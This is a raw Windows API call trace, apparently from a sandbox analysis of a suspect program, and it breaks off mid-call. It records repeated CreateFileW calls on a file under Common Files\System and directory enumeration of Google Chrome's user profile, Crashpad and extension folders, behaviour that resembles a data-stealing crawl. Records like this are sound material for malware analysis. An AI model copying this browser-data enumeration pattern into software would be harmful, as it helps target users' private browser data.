AreFileApisANSI () returned 1 [0128.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0128.349] GetFileType (hFile=0x184) returned 0x1 [0128.349] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x400000, dwReserved1=0x888850, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0128.349] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0128.349] GetLastError () returned 0x12 [0128.349] AreFileApisANSI () returned 1 [0128.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0128.350] GetFileType (hFile=0x184) returned 0x1 [0128.350] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0128.350] AreFileApisANSI () returned 1 [0128.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0128.350] GetFileType (hFile=0x188) returned 0x1 [0128.350] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0128.350] AreFileApisANSI () returned 1 [0128.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0128.351] GetFileType (hFile=0x18c) returned 0x1 [0128.351] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20000000, dwReserved1=0x867358, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0128.351] AreFileApisANSI () returned 1 [0128.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.351] GetFileType (hFile=0x190) returned 0x1 [0128.351] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.352] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.352] GetLastError () returned 0x12 [0128.352] AreFileApisANSI () returned 1 [0128.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.352] GetFileType (hFile=0x190) returned 0x1 [0128.352] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.352] AreFileApisANSI () returned 1 [0128.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.353] GetFileType (hFile=0x194) returned 0x1 [0128.353] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000, dwReserved1=0x837860, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.353] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.353] GetLastError () returned 0x12 [0128.353] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.353] GetLastError () returned 0x12 [0128.353] AreFileApisANSI () returned 1 [0128.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.353] GetFileType (hFile=0x190) returned 0x1 [0128.353] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.354] AreFileApisANSI () returned 1 [0128.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.354] GetFileType (hFile=0x194) returned 0x1 [0128.354] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.354] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.354] GetLastError () returned 0x12 [0128.354] AreFileApisANSI () returned 1 [0128.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.355] GetFileType (hFile=0x194) returned 0x1 [0128.355] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x10000, nFileSizeHigh=0x0, nFileSizeLow=0xf445, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0128.355] AreFileApisANSI () returned 1 [0128.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.355] GetFileType (hFile=0x194) returned 0x1 [0128.355] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.440] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.441] GetLastError () returned 0x12 [0128.441] AreFileApisANSI () returned 1 [0128.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.441] GetFileType (hFile=0x194) returned 0x1 [0128.442] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.534] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.535] GetLastError () returned 0x12 [0128.535] AreFileApisANSI () returned 1 [0128.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.535] GetFileType (hFile=0x194) returned 0x1 [0128.535] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x198, dwReserved1=0x837860, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.628] AreFileApisANSI () returned 1 [0128.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.628] GetFileType (hFile=0x198) returned 0x1 [0128.629] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xf825, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.629] AreFileApisANSI () returned 1 [0128.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.629] GetFileType (hFile=0x198) returned 0x1 [0128.629] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xf937, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.629] AreFileApisANSI () returned 1 [0128.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.629] GetFileType (hFile=0x198) returned 0x1 [0128.629] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xfa49, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.629] AreFileApisANSI () returned 1 [0128.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.630] GetFileType (hFile=0x198) returned 0x1 [0128.630] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xfb5b, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.630] AreFileApisANSI () returned 1 [0128.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.630] GetFileType (hFile=0x198) returned 0x1 [0128.630] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xfc6d, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.630] AreFileApisANSI () returned 1 [0128.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.630] GetFileType (hFile=0x198) returned 0x1 [0128.630] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xfd7f, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.630] AreFileApisANSI () returned 1 [0128.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.631] GetFileType 